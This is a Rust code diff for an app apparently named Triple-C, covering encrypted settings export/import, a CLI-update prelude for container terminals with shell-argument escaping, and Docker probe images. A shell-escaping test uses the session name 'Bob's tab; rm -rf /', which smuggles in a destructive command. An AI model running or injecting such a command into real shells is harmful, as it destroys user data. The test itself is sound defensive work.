||||
///
|
||||
/// That ordering is not just tidiness: a version bump that isn't
|
||||
/// deserialize-compatible (a field's type changes, not just a new
|
||||
/// `#[serde(default)]`-covered one) is exactly the case this check exists
|
||||
/// for, and parsing the full struct first would fail on the shape mismatch
|
||||
/// before the version check ever ran, surfacing a raw parse error instead
|
||||
/// of "update Triple-C" — and, more seriously, `serde_json`'s type-mismatch
|
||||
/// errors quote the offending value inline. This file is not attacker
|
||||
/// content in the usual sense (it must still decrypt under the right
|
||||
/// password), but the plaintext it decrypts to can hold a live credential,
|
||||
/// so neither error path below ever interpolates what `serde_json`
|
||||
/// actually says — only a fixed, generic message.
|
||||
fn read_and_decrypt_bytes(encrypted: &[u8], password: &str) -> Result<SettingsExportPayload, String> {
|
||||
let plaintext = settings_crypto::decrypt(encrypted, password)?;
|
||||
|
||||
let probe: FormatVersionProbe = serde_json::from_slice(&plaintext)
|
||||
.map_err(|_| "This file doesn't look like a valid settings export.".to_string())?;
|
||||
if probe.format_version > SETTINGS_EXPORT_FORMAT_VERSION {
|
||||
return Err(format!(
|
||||
"This export was made by a newer version of Triple-C (format {}, this app supports up to {}). \
|
||||
Update Triple-C before importing it.",
|
||||
probe.format_version, SETTINGS_EXPORT_FORMAT_VERSION
|
||||
));
|
||||
}
|
||||
|
||||
serde_json::from_slice(&plaintext).map_err(|_| {
|
||||
"This file doesn't look like a valid settings export (unexpected shape).".to_string()
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn non_blank_treats_whitespace_only_as_absent() {
|
||||
assert_eq!(non_blank(Some(" ".to_string())), None);
|
||||
assert_eq!(non_blank(Some("".to_string())), None);
|
||||
assert_eq!(non_blank(None), None);
|
||||
assert_eq!(non_blank(Some(" a ".to_string())), Some(" a ".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ciphertext_hashing_is_deterministic_and_tamper_sensitive() {
|
||||
// What `apply_settings_import` compares against the pinned hash from
|
||||
// `preview_settings_import` to detect a file swapped out from under a
|
||||
// pending import — this only defends anything if identical bytes
|
||||
// always hash identically and any change to those bytes changes the
|
||||
// hash.
|
||||
let bytes = b"pretend this is an encrypted export file";
|
||||
assert_eq!(hash_ciphertext(bytes), hash_ciphertext(bytes));
|
||||
|
||||
let mut tampered = bytes.to_vec();
|
||||
tampered[0] ^= 0xFF;
|
||||
assert_ne!(hash_ciphertext(bytes), hash_ciphertext(&tampered));
|
||||
}
|
||||
|
||||
fn write_export(
|
||||
dir: &std::path::Path,
|
||||
name: &str,
|
||||
payload: &SettingsExportPayload,
|
||||
password: &str,
|
||||
) -> PathBuf {
|
||||
write_raw_export(dir, name, &serde_json::to_value(payload).unwrap(), password)
|
||||
}
|
||||
|
||||
/// Like `write_export`, but takes an arbitrary `serde_json::Value` rather
|
||||
/// than a real `SettingsExportPayload` — for fixtures that are
|
||||
/// deliberately not shape-compatible, which the typed helper above can't
|
||||
/// produce at all.
|
||||
fn write_raw_export(
|
||||
dir: &std::path::Path,
|
||||
name: &str,
|
||||
value: &serde_json::Value,
|
||||
password: &str,
|
||||
) -> PathBuf {
|
||||
let plaintext = serde_json::to_vec(value).unwrap();
|
||||
let encrypted = settings_crypto::encrypt(&plaintext, password).unwrap();
|
||||
let path = dir.join(name);
|
||||
std::fs::write(&path, &encrypted).unwrap();
|
||||
path
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn splitting_settings_moves_the_web_terminal_token_out_rather_than_copying_it() {
|
||||
let mut settings = AppSettings::default();
|
||||
settings.web_terminal.access_token = Some("super-secret-token".to_string());
|
||||
|
||||
let (settings, secrets) = split_settings_and_secrets(settings);
|
||||
|
||||
assert_eq!(settings.web_terminal.access_token, None);
|
||||
assert_eq!(
|
||||
secrets.web_terminal_access_token,
|
||||
Some("super-secret-token".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn splitting_settings_with_no_token_leaves_it_absent_on_both_sides() {
|
||||
let (settings, secrets) = split_settings_and_secrets(AppSettings::default());
|
||||
|
||||
assert_eq!(settings.web_terminal.access_token, None);
|
||||
assert_eq!(secrets.web_terminal_access_token, None);
|
||||
}
|
||||
|
||||
fn sample_payload(format_version: u32) -> SettingsExportPayload {
|
||||
SettingsExportPayload {
|
||||
format_version,
|
||||
exported_at: "2026-08-27T00:00:00Z".to_string(),
|
||||
app_version: "0.4.14".to_string(),
|
||||
settings: AppSettings::default(),
|
||||
secrets: ExportedSecrets::default(),
|
||||
}
|
||||
}
|
||||
|
||||
fn temp_dir(name: &str) -> PathBuf {
|
||||
let dir = std::env::temp_dir().join(format!(
|
||||
"triple-c-settings-export-test-{}-{}",
|
||||
name,
|
||||
uuid::Uuid::new_v4().simple()
|
||||
));
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
dir
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_file_from_a_newer_format_is_refused_before_the_full_shape_is_parsed() {
|
||||
// Shape-incompatible with the *current* `SettingsExportPayload` (a
|
||||
// future version could easily have changed `settings` from an object
|
||||
// to something else) as well as newer — so this only passes under
|
||||
// the probe-first ordering. Parsing the full struct first (the old
|
||||
// behavior) would fail on the shape mismatch and never reach the
|
||||
// version check, producing the "unexpected shape" message instead of
|
||||
// "newer version" / "Update Triple-C".
|
||||
let dir = temp_dir("newer-format");
|
||||
let path = write_raw_export(
|
||||
&dir,
|
||||
"export.triplec",
|
||||
&serde_json::json!({
|
||||
"format_version": SETTINGS_EXPORT_FORMAT_VERSION + 1,
|
||||
"exported_at": "2026-08-27T00:00:00Z",
|
||||
"app_version": "9.9.9",
|
||||
"settings": "this-app-version-stores-settings-differently",
|
||||
"secrets": {},
|
||||
}),
|
||||
"correct password",
|
||||
);
|
||||
|
||||
let err = read_and_decrypt(&path, "correct password").unwrap_err();
|
||||
assert!(err.contains("newer version"), "unexpected message: {}", err);
|
||||
assert!(err.contains("Update Triple-C"));
|
||||
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_file_at_the_current_format_is_accepted() {
|
||||
let dir = temp_dir("current-format");
|
||||
let path = write_export(
|
||||
&dir,
|
||||
"export.triplec",
|
||||
&sample_payload(SETTINGS_EXPORT_FORMAT_VERSION),
|
||||
"correct password",
|
||||
);
|
||||
|
||||
let payload = read_and_decrypt(&path, "correct password").unwrap();
|
||||
assert_eq!(payload.format_version, SETTINGS_EXPORT_FORMAT_VERSION);
|
||||
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_malformed_payload_produces_a_generic_error_not_a_raw_serde_message() {
|
||||
// A `format_version` the probe accepts, but a `settings` field of
|
||||
// the wrong *type* rather than just a missing field — this is what
|
||||
// makes `serde_json` produce an "invalid type: string `...`, expected
|
||||
// struct AppSettings" error that quotes the offending value
|
||||
// verbatim. That value here stands in for plaintext that, in a real
|
||||
// export, could be a live credential — the assertion below is only
|
||||
// meaningful against a fixture that actually exercises serde's
|
||||
// value-quoting behavior, which a merely-missing-field fixture does
|
||||
// not.
|
||||
let dir = temp_dir("malformed");
|
||||
let path = write_raw_export(
|
||||
&dir,
|
||||
"export.triplec",
|
||||
&serde_json::json!({
|
||||
"format_version": SETTINGS_EXPORT_FORMAT_VERSION,
|
||||
"exported_at": "2026-08-27T00:00:00Z",
|
||||
"app_version": "0.4.14",
|
||||
"settings": "NOT-A-REAL-CREDENTIAL-abc123",
|
||||
"secrets": {},
|
||||
}),
|
||||
"correct password",
|
||||
);
|
||||
|
||||
let err = read_and_decrypt(&path, "correct password").unwrap_err();
|
||||
assert!(
|
||||
!err.contains("NOT-A-REAL-CREDENTIAL-abc123"),
|
||||
"leaked plaintext into the error: {}",
|
||||
err
|
||||
);
|
||||
assert!(err.contains("doesn't look like a valid settings export"));
|
||||
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_wrong_password_is_reported_without_a_version_check_ever_running() {
|
||||
let dir = temp_dir("wrong-password");
|
||||
let path = write_export(
|
||||
&dir,
|
||||
"export.triplec",
|
||||
&sample_payload(SETTINGS_EXPORT_FORMAT_VERSION),
|
||||
"correct password",
|
||||
);
|
||||
|
||||
let err = read_and_decrypt(&path, "wrong password").unwrap_err();
|
||||
assert!(
|
||||
err.contains("Wrong password"),
|
||||
"unexpected message: {}",
|
||||
err
|
||||
);
|
||||
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
fn account(id: &str, method: AccountMethod) -> MarketplaceAccount {
|
||||
MarketplaceAccount {
|
||||
id: id.to_string(),
|
||||
label: format!("Account {id}"),
|
||||
host: "github.com".to_string(),
|
||||
method,
|
||||
username: None,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn export_carries_stored_tokens_of_token_and_container_accounts_only() {
|
||||
let accounts = vec![
|
||||
account("a-token", AccountMethod::Token),
|
||||
account("a-container", AccountMethod::GhContainer),
|
||||
account("a-host", AccountMethod::GhHost),
|
||||
account("a-missing", AccountMethod::Token),
|
||||
account("a-broken", AccountMethod::Token),
|
||||
];
|
||||
let tokens = exported_marketplace_tokens(&accounts, |id| match id {
|
||||
"a-token" => Ok(Some("test-token-not-real-1".to_string())),
|
||||
"a-container" => Ok(Some("test-token-not-real-2".to_string())),
|
||||
"a-host" => panic!("a gh-host account stores no token, so none is read"),
|
||||
"a-missing" => Ok(None),
|
||||
_ => Err("keychain locked".to_string()),
|
||||
});
|
||||
assert_eq!(
|
||||
tokens,
|
||||
BTreeMap::from([
|
||||
("a-container".to_string(), "test-token-not-real-2".to_string()),
|
||||
("a-token".to_string(), "test-token-not-real-1".to_string()),
|
||||
])
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn marketplace_tokens_round_trip_through_an_export_and_validate_on_import() {
|
||||
use crate::models::marketplace::Marketplace;
|
||||
let id = "0f8fad5b-d9cb-469f-a165-70867728950e";
|
||||
let mut payload = sample_payload(SETTINGS_EXPORT_FORMAT_VERSION);
|
||||
payload
|
||||
.settings
|
||||
.marketplace_accounts
|
||||
.push(account(id, AccountMethod::Token));
|
||||
payload.settings.marketplaces.push(Marketplace {
|
||||
id: "7c9e6679-7425-40de-944b-e07fc1f90ae7".into(),
|
||||
name: "Team".into(),
|
||||
url: "https://github.com/org/repo.git".into(),
|
||||
branch: None,
|
||||
account_id: Some(id.into()),
|
||||
});
|
||||
payload.secrets.marketplace_account_tokens =
|
||||
BTreeMap::from([(id.to_string(), "test-token-not-real".to_string())]);
|
||||
|
||||
let dir = temp_dir("marketplace-round-trip");
|
||||
let path = write_export(&dir, "x.triplec", &payload, "password123");
|
||||
let mut back = read_and_decrypt(&path, "password123").unwrap();
|
||||
|
||||
assert_eq!(
|
||||
back.secrets.marketplace_account_tokens,
|
||||
payload.secrets.marketplace_account_tokens
|
||||
);
|
||||
assert_eq!(back.settings.marketplaces, payload.settings.marketplaces);
|
||||
crate::commands::marketplace_commands::validate_imported_marketplace_state(
|
||||
&mut back.settings,
|
||||
&back.secrets.marketplace_account_tokens,
|
||||
)
|
||||
.unwrap();
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_marketplace_token_that_fails_to_restore_is_reported_without_its_value() {
|
||||
let tokens = BTreeMap::from([
|
||||
("a1".to_string(), "test-token-not-real-1".to_string()),
|
||||
("a2".to_string(), "test-token-not-real-2".to_string()),
|
||||
]);
|
||||
let mut stored = Vec::new();
|
||||
let warnings = restore_marketplace_tokens(&tokens, |id, token| {
|
||||
if id == "a2" {
|
||||
return Err("keychain locked".to_string());
|
||||
}
|
||||
stored.push((id.to_string(), token.to_string()));
|
||||
Ok(())
|
||||
});
|
||||
assert_eq!(
|
||||
stored,
|
||||
vec![("a1".to_string(), "test-token-not-real-1".to_string())]
|
||||
);
|
||||
assert_eq!(warnings.len(), 1);
|
||||
assert!(!warnings[0].contains("test-token-not-real"));
|
||||
}
|
||||
}
|
||||
@@ -6,10 +6,58 @@ use crate::AppState;
|
||||
|
||||
/// Build the command to run in the container terminal.
|
||||
///
|
||||
/// For Bedrock Profile projects, wraps `claude` in a bash script that validates
|
||||
/// the AWS session first. If the SSO session is expired, runs `aws sso login`
|
||||
/// so the user can re-authenticate (the URL is clickable via xterm.js WebLinksAddon).
|
||||
/// Always a `bash -c` script, because every session runs [`UPDATE_PRELUDE`]
|
||||
/// before `exec claude`. For Bedrock Profile projects the script additionally
|
||||
/// validates the AWS session first, and runs `aws sso login` if it has expired
|
||||
/// so the user can re-authenticate (the URL is clickable via xterm.js
|
||||
/// WebLinksAddon).
|
||||
fn build_terminal_cmd(project: &Project, state: &AppState, session_name: Option<&str>) -> Vec<String> {
|
||||
let settings = state.settings_store.get();
|
||||
build_claude_terminal_cmd(
|
||||
project,
|
||||
settings.global_aws.aws_profile.as_deref(),
|
||||
session_name,
|
||||
)
|
||||
}
|
||||
|
||||
/// Shell line run immediately before `exec claude` in every Claude terminal
|
||||
/// session.
|
||||
///
|
||||
/// `container/entrypoint.sh` already runs `claude update` when the container
|
||||
/// starts, but containers here use a stop/start (and often just keep running)
|
||||
/// model, so a long-lived container's CLI goes stale between restarts. Running
|
||||
/// it per session is what keeps a week-old container current.
|
||||
///
|
||||
/// Deliberately non-fatal and time-bounded: `|| echo` swallows a failure (no
|
||||
/// network, npm registry down) so a session always opens, and `timeout 60`
|
||||
/// bounds how long a user waits for a terminal.
|
||||
///
|
||||
/// **`flock` is load-bearing, not tidiness.** Nothing serialises this against
|
||||
/// the entrypoint's own `claude update`, and the entrypoint prints "container
|
||||
/// ready" only *after* its copy finishes — so "start the project, open a tab"
|
||||
/// races two updaters against the same `~/.claude/bin` install, as does
|
||||
/// opening two tabs at once. `|| echo` would then hide a half-written install
|
||||
/// behind a friendly message and the very next line (`exec claude`) would run
|
||||
/// it. `-w 90` gives the entrypoint's `timeout 120` copy room to finish rather
|
||||
/// than failing the wait, and `-E 0` makes losing the race a success: the
|
||||
/// other holder just updated, so there is nothing left to do.
|
||||
pub(crate) const UPDATE_PRELUDE: &str = concat!(
|
||||
"flock -w 90 -E 0 /tmp/.triple-c-claude-update.lock ",
|
||||
r#"timeout 60 claude update 2>&1 || echo "(update skipped — continuing)""#,
|
||||
);
|
||||
|
||||
/// Single-quote one argument for interpolation into a shell script string.
|
||||
fn shell_quote_arg(arg: &str) -> String {
|
||||
format!(" '{}'", arg.replace('\'', "'\\''"))
|
||||
}
|
||||
|
||||
/// The testable core of [`build_terminal_cmd`], taking the resolved global AWS
|
||||
/// profile rather than the whole [`AppState`].
|
||||
fn build_claude_terminal_cmd(
|
||||
project: &Project,
|
||||
global_aws_profile: Option<&str>,
|
||||
session_name: Option<&str>,
|
||||
) -> Vec<String> {
|
||||
let is_bedrock_profile = project.backend == Backend::Bedrock
|
||||
&& project
|
||||
.bedrock_config
|
||||
@@ -19,36 +67,27 @@ fn build_terminal_cmd(project: &Project, state: &AppState, session_name: Option<
|
||||
|
||||
let permission_args = project.effective_permission_mode().cli_args();
|
||||
|
||||
// The args are interpolated into a shell script string, so single-quote
|
||||
// each one.
|
||||
let name_flag = session_name
|
||||
.filter(|n| !n.is_empty())
|
||||
.map(|n| format!(" -n{}", shell_quote_arg(n)))
|
||||
.unwrap_or_default();
|
||||
let permission_flags: String = permission_args.iter().map(|a| shell_quote_arg(a)).collect();
|
||||
let claude_cmd = format!("exec claude{}{}", permission_flags, name_flag);
|
||||
|
||||
if !is_bedrock_profile {
|
||||
let mut cmd = vec!["claude".to_string()];
|
||||
cmd.extend(permission_args);
|
||||
if let Some(name) = session_name {
|
||||
if !name.is_empty() {
|
||||
cmd.push("-n".to_string());
|
||||
cmd.push(name.to_string());
|
||||
}
|
||||
}
|
||||
return cmd;
|
||||
return vec![
|
||||
"bash".to_string(),
|
||||
"-c".to_string(),
|
||||
format!("{}\n{}\n", UPDATE_PRELUDE, claude_cmd),
|
||||
];
|
||||
}
|
||||
|
||||
let profile = aws_commands::resolve_profile_for_project(
|
||||
project,
|
||||
state.settings_store.get().global_aws.aws_profile.as_deref(),
|
||||
);
|
||||
let profile = aws_commands::resolve_profile_for_project(project, global_aws_profile);
|
||||
|
||||
// Build a bash wrapper that validates credentials, re-auths if needed,
|
||||
// then exec's into claude.
|
||||
let name_flag = session_name
|
||||
.filter(|n| !n.is_empty())
|
||||
.map(|n| format!(" -n '{}'", n.replace('\'', "'\\''")))
|
||||
.unwrap_or_default();
|
||||
// The args are interpolated into a shell script string, so single-quote
|
||||
// each one (same escaping style as name_flag above).
|
||||
let permission_flags: String = permission_args
|
||||
.iter()
|
||||
.map(|a| format!(" '{}'", a.replace('\'', "'\\''")))
|
||||
.collect();
|
||||
let claude_cmd = format!("exec claude{}{}", permission_flags, name_flag);
|
||||
|
||||
let script = format!(
|
||||
r#"
|
||||
@@ -75,9 +114,11 @@ else
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
{update_prelude}
|
||||
{claude_cmd}
|
||||
"#,
|
||||
profile = profile,
|
||||
update_prelude = UPDATE_PRELUDE,
|
||||
claude_cmd = claude_cmd
|
||||
);
|
||||
|
||||
@@ -325,6 +366,9 @@ pub async fn stop_audio_bridge(
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::{build_claude_terminal_cmd, UPDATE_PRELUDE};
|
||||
use crate::models::Project;
|
||||
|
||||
/// A dropped file must be named the way the *user* named it.
|
||||
///
|
||||
/// The bug this pins: `upload_host_file_to_terminal` derived the tar entry
|
||||
@@ -338,6 +382,136 @@ mod tests {
|
||||
/// answer comes from the spelling, and a path that does not name a file is
|
||||
/// refused rather than silently substituted (it used to fall back to
|
||||
/// `"dropped-file"`).
|
||||
/// A `Project` with only the fields these tests care about set; the rest
|
||||
/// come through serde so the test does not have to track every field.
|
||||
fn project(backend: &str, bedrock_config: serde_json::Value) -> Project {
|
||||
serde_json::from_value(serde_json::json!({
|
||||
"id": "p1",
|
||||
"name": "Test",
|
||||
"paths": [],
|
||||
"container_id": null,
|
||||
"status": "running",
|
||||
"backend": backend,
|
||||
"bedrock_config": bedrock_config,
|
||||
"ollama_config": null,
|
||||
"openai_compatible_config": null,
|
||||
"allow_docker_access": false,
|
||||
"full_permissions": false,
|
||||
"ssh_key_path": null,
|
||||
"git_user_name": null,
|
||||
"git_user_email": null,
|
||||
"created_at": "now",
|
||||
"updated_at": "now"
|
||||
}))
|
||||
.expect("test project deserializes")
|
||||
}
|
||||
|
||||
/// Every Claude session updates the CLI before launching it.
|
||||
///
|
||||
/// `container/entrypoint.sh` only updates at container *start*, and these
|
||||
/// containers are long-lived, so a stale CLI is the normal case without
|
||||
/// this. The plain (non-Bedrock) path therefore has to be a `bash -c`
|
||||
/// wrapper rather than a bare `claude` argv.
|
||||
#[test]
|
||||
fn build_terminal_cmd_updates_before_launching_claude() {
|
||||
let cmd = build_claude_terminal_cmd(&project("anthropic", serde_json::Value::Null), None, None);
|
||||
|
||||
assert_eq!(cmd[0], "bash");
|
||||
assert_eq!(cmd[1], "-c");
|
||||
assert!(
|
||||
cmd[2].contains(UPDATE_PRELUDE),
|
||||
"plain path must run the update prelude: {}",
|
||||
cmd[2]
|
||||
);
|
||||
assert!(cmd[2].contains("exec claude"), "got: {}", cmd[2]);
|
||||
// The update has to happen *before* the exec, which never returns.
|
||||
assert!(
|
||||
cmd[2].find(UPDATE_PRELUDE).unwrap() < cmd[2].find("exec claude").unwrap(),
|
||||
"prelude must precede the exec: {}",
|
||||
cmd[2]
|
||||
);
|
||||
assert!(
|
||||
UPDATE_PRELUDE.contains("timeout 60") && UPDATE_PRELUDE.contains("||"),
|
||||
"the update must stay time-bounded and non-fatal"
|
||||
);
|
||||
}
|
||||
|
||||
/// The session name is interpolated into a shell script, so a quote in it
|
||||
/// must not break out of its single-quoted argument.
|
||||
#[test]
|
||||
fn build_terminal_cmd_escapes_a_quoted_session_name() {
|
||||
let cmd = build_claude_terminal_cmd(
|
||||
&project("anthropic", serde_json::Value::Null),
|
||||
None,
|
||||
Some("Bob's tab; rm -rf /"),
|
||||
);
|
||||
|
||||
assert!(
|
||||
cmd[2].contains(r#"exec claude -n 'Bob'\''s tab; rm -rf /'"#),
|
||||
"session name must be single-quote escaped: {}",
|
||||
cmd[2]
|
||||
);
|
||||
}
|
||||
|
||||
/// Permission flags travel the same escaped path, and an empty name adds
|
||||
/// no `-n` at all.
|
||||
#[test]
|
||||
fn build_terminal_cmd_quotes_permission_flags_and_omits_an_empty_name() {
|
||||
let mut p = project("anthropic", serde_json::Value::Null);
|
||||
p.full_permissions = true;
|
||||
let cmd = build_claude_terminal_cmd(&p, None, Some(""));
|
||||
|
||||
assert!(
|
||||
cmd[2].contains("exec claude '--dangerously-skip-permissions'\n"),
|
||||
"got: {}",
|
||||
cmd[2]
|
||||
);
|
||||
assert!(!cmd[2].contains(" -n "), "empty name must add no flag: {}", cmd[2]);
|
||||
}
|
||||
|
||||
/// Auto mode is passed as a `--permission-mode` value, not its own flag.
|
||||
#[test]
|
||||
fn build_terminal_cmd_passes_auto_permission_mode() {
|
||||
let mut p = project("anthropic", serde_json::Value::Null);
|
||||
p.permission_mode = Some(crate::models::project::PermissionMode::Auto);
|
||||
let cmd = build_claude_terminal_cmd(&p, None, None);
|
||||
|
||||
assert!(
|
||||
cmd[2].contains("exec claude '--permission-mode' 'auto'"),
|
||||
"got: {}",
|
||||
cmd[2]
|
||||
);
|
||||
}
|
||||
|
||||
/// The Bedrock-profile path keeps its AWS validation *and* gains the
|
||||
/// prelude, immediately before the exec.
|
||||
#[test]
|
||||
fn build_terminal_cmd_bedrock_validates_aws_and_updates() {
|
||||
let cmd = build_claude_terminal_cmd(
|
||||
&project("bedrock", serde_json::json!({
|
||||
"auth_method": "profile",
|
||||
"aws_region": "us-east-1",
|
||||
"aws_profile": "acme",
|
||||
"model_id": null,
|
||||
"disable_prompt_caching": false
|
||||
})),
|
||||
None,
|
||||
Some("it's fine"),
|
||||
);
|
||||
|
||||
assert_eq!(cmd[0], "bash");
|
||||
let script = &cmd[2];
|
||||
assert!(script.contains("aws sts get-caller-identity --profile 'acme'"), "got: {}", script);
|
||||
assert!(script.contains("triple-c-sso-refresh"), "got: {}", script);
|
||||
assert!(script.contains(UPDATE_PRELUDE), "got: {}", script);
|
||||
assert!(script.contains(r#"exec claude -n 'it'\''s fine'"#), "got: {}", script);
|
||||
assert!(
|
||||
script.find(UPDATE_PRELUDE).unwrap() < script.find("exec claude").unwrap(),
|
||||
"prelude must precede the exec: {}",
|
||||
script
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_dropped_file_keeps_the_name_the_user_dropped() {
|
||||
use crate::commands::file_commands::host_upload_name;
|
||||
|
||||
@@ -3052,6 +3052,118 @@ fn blanked_secret_env() -> Vec<String> {
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Image-name prefix for the throwaway commit a staleness probe of a stopped
|
||||
/// container makes. The reaper's only handle on a leftover — see
|
||||
/// [`crate::docker::migration::reap_probe_images`] — so nothing else may use it.
|
||||
pub const PROBE_IMAGE_PREFIX: &str = "triple-c-probe-";
|
||||
|
||||
/// The throwaway image a staleness probe of a **stopped** container commits to.
|
||||
///
|
||||
/// **Unique per call**, and both halves of the name earn their place: the
|
||||
/// container id prefix makes a leftover traceable in `docker images`, and the
|
||||
/// counter makes two overlapping probes independent.
|
||||
///
|
||||
/// An earlier version of this was deliberately *stable* per container, on the
|
||||
/// theory that the next probe would move the tag off an abandoned image and
|
||||
/// leave it dangling for [`sweep_orphaned_snapshots`]. That was wrong twice
|
||||
/// over. A container id does not survive a recreate, so for most leftovers
|
||||
/// there is no "next probe of the same container" and the image was stranded
|
||||
/// permanently; and a stable name made two concurrent probes fight over one
|
||||
/// tag, where whichever finished first force-removed the image the other was
|
||||
/// still reading and turned a healthy project into a bogus `probe_error`.
|
||||
/// Uniqueness fixes both, and [`crate::docker::migration::reap_probe_images`]
|
||||
/// is what collects the leftovers instead.
|
||||
pub fn get_probe_image_name(container_id: &str) -> String {
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
static SEQ: AtomicU64 = AtomicU64::new(0);
|
||||
|
||||
let short: String = container_id.chars().take(12).collect();
|
||||
let nanos = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos())
|
||||
.unwrap_or(0);
|
||||
format!(
|
||||
"{}{}-{}-{}:latest",
|
||||
PROBE_IMAGE_PREFIX,
|
||||
short,
|
||||
nanos,
|
||||
SEQ.fetch_add(1, Ordering::Relaxed)
|
||||
)
|
||||
}
|
||||
|
||||
/// Commit a **stopped** container's filesystem to a throwaway image, returning
|
||||
/// its name. The caller owns the image and must remove it.
|
||||
///
|
||||
/// This exists so a stopped project can be read at all. `docker exec` needs a
|
||||
/// running container and the snapshot image is not a checkpoint — see
|
||||
/// [`crate::commands::migration_commands`]'s probe-source pick — so without
|
||||
/// this there is no way to see inside a project that is merely stopped.
|
||||
///
|
||||
/// ## Why it is tagged at all
|
||||
///
|
||||
/// An untagged commit would be tidier: untagged plus the `triple-c.managed=true`
|
||||
/// that `docker commit` copies off the container is exactly the pair
|
||||
/// [`sweep_orphaned_snapshots`] already collects, so a leftover would self-heal
|
||||
/// with no new machinery. **It is not available.** `bollard`'s `Commit` response
|
||||
/// model deserialises `"ID"` while the daemon sends `"Id"`, so
|
||||
/// `commit_container` hands back `id: None` every time and there is no
|
||||
/// reference left to probe. Neither existing commit site notices, because both
|
||||
/// discard the response. Verified against Engine 29.6, bollard 0.18.1.
|
||||
///
|
||||
/// So the image needs a name, a tagged image is not dangling, and the sweep
|
||||
/// therefore cannot be the safety net. [`crate::docker::migration::reap_probe_images`]
|
||||
/// is, and [`get_probe_image_name`] carries the rest of that argument.
|
||||
///
|
||||
/// ## What is in the image, and what is not
|
||||
///
|
||||
/// `pause: false` because nothing is running — pausing a stopped container is
|
||||
/// an error, the same reason [`recommit_without_secrets`]'s scratch commit
|
||||
/// passes `false`.
|
||||
///
|
||||
/// Secrets are blanked from the env for the same reason
|
||||
/// [`commit_container_snapshot`] blanks them: the commit bakes the container's
|
||||
/// full ENV into the image, and "it only lives a few seconds" is not a property
|
||||
/// this function can promise after a crash.
|
||||
///
|
||||
/// **The writable layer is committed unscrubbed, and that is unavoidable here.**
|
||||
/// [`commit_container_snapshot`] runs [`scrub_writable_layer`] first precisely
|
||||
/// because a commit stacks a layer and never rewrites one — but that scrub is a
|
||||
/// `docker exec`, which is exactly what a stopped container cannot serve, and
|
||||
/// scrubbing is not wanted anyway: the probe's whole job is to report the
|
||||
/// filesystem as it actually is. What makes it acceptable is that this copies
|
||||
/// bytes that are *already on this disk* in the container's own writable layer,
|
||||
/// into an image that is never pushed, never created from, and reaped — so it
|
||||
/// duplicates data inside one trust domain rather than widening it. That
|
||||
/// argument depends on the reaping actually happening; treat
|
||||
/// [`crate::docker::migration::reap_probe_images`] as load-bearing, not tidying.
|
||||
pub async fn commit_container_for_probe(container_id: &str) -> Result<String, String> {
|
||||
let docker = get_docker()?;
|
||||
let image_name = get_probe_image_name(container_id);
|
||||
let (repo, tag) = image_name
|
||||
.rsplit_once(':')
|
||||
.map(|(r, t)| (r.to_string(), t.to_string()))
|
||||
.expect("get_probe_image_name always emits a tag");
|
||||
|
||||
docker
|
||||
.commit_container(
|
||||
CommitContainerOptions {
|
||||
container: container_id.to_string(),
|
||||
repo,
|
||||
tag,
|
||||
pause: false,
|
||||
..Default::default()
|
||||
},
|
||||
Config::<String> {
|
||||
env: Some(blanked_secret_env()),
|
||||
..Default::default()
|
||||
},
|
||||
)
|
||||
.await
|
||||
.map_err(|e| format!("Failed to commit stopped container {}: {}", container_id, e))?;
|
||||
|
||||
Ok(image_name)
|
||||
}
|
||||
|
||||
/// Whether `env` (an image's `Config.Env`) holds a non-empty value for any
|
||||
/// name in [`SECRET_ENV_KEYS`].
|
||||
fn env_holds_a_secret(env: &[String]) -> bool {
|
||||
@@ -3518,9 +3630,10 @@ pub async fn remove_snapshot_image(project: &Project) -> Result<(), String> {
|
||||
remove_image_by_name(&get_snapshot_image_name(project)).await
|
||||
}
|
||||
|
||||
/// Remove a Docker image by name/tag, treating "does not exist" as success.
|
||||
/// Shared by [`remove_snapshot_image`] and the pending-cleanup retry, which
|
||||
/// only has the image name (the project record is already gone by then).
|
||||
/// Remove a Docker image by name, tag or **id**, treating "does not exist" as
|
||||
/// success. Shared by [`remove_snapshot_image`], the pending-cleanup retry
|
||||
/// (which only has the image name — the project record is already gone by
|
||||
/// then), and the staleness probe's throwaway commit, which has only an id.
|
||||
pub async fn remove_image_by_name(image_name: &str) -> Result<(), String> {
|
||||
let docker = get_docker()?;
|
||||
|
||||
@@ -3536,7 +3649,7 @@ pub async fn remove_image_by_name(image_name: &str) -> Result<(), String> {
|
||||
.await
|
||||
{
|
||||
Ok(_) => {
|
||||
log::info!("Removed snapshot image {}", image_name);
|
||||
log::info!("Removed image {}", image_name);
|
||||
Ok(())
|
||||
}
|
||||
Err(bollard::errors::Error::DockerResponseServerError {
|
||||
@@ -4464,6 +4577,29 @@ mod tests {
|
||||
assert!(env_holds_a_secret(&env));
|
||||
}
|
||||
|
||||
/// The probe image's name must be **unique per call**. A stable name was
|
||||
/// tried and is wrong twice over: a container id does not survive a
|
||||
/// recreate, so a crashed probe's leftover would never be reclaimed by "the
|
||||
/// next probe of the same container"; and two concurrent probes sharing one
|
||||
/// tag means whichever finishes first force-removes the image the other is
|
||||
/// still reading. See `commit_container_for_probe` and `reap_probe_images`.
|
||||
#[test]
|
||||
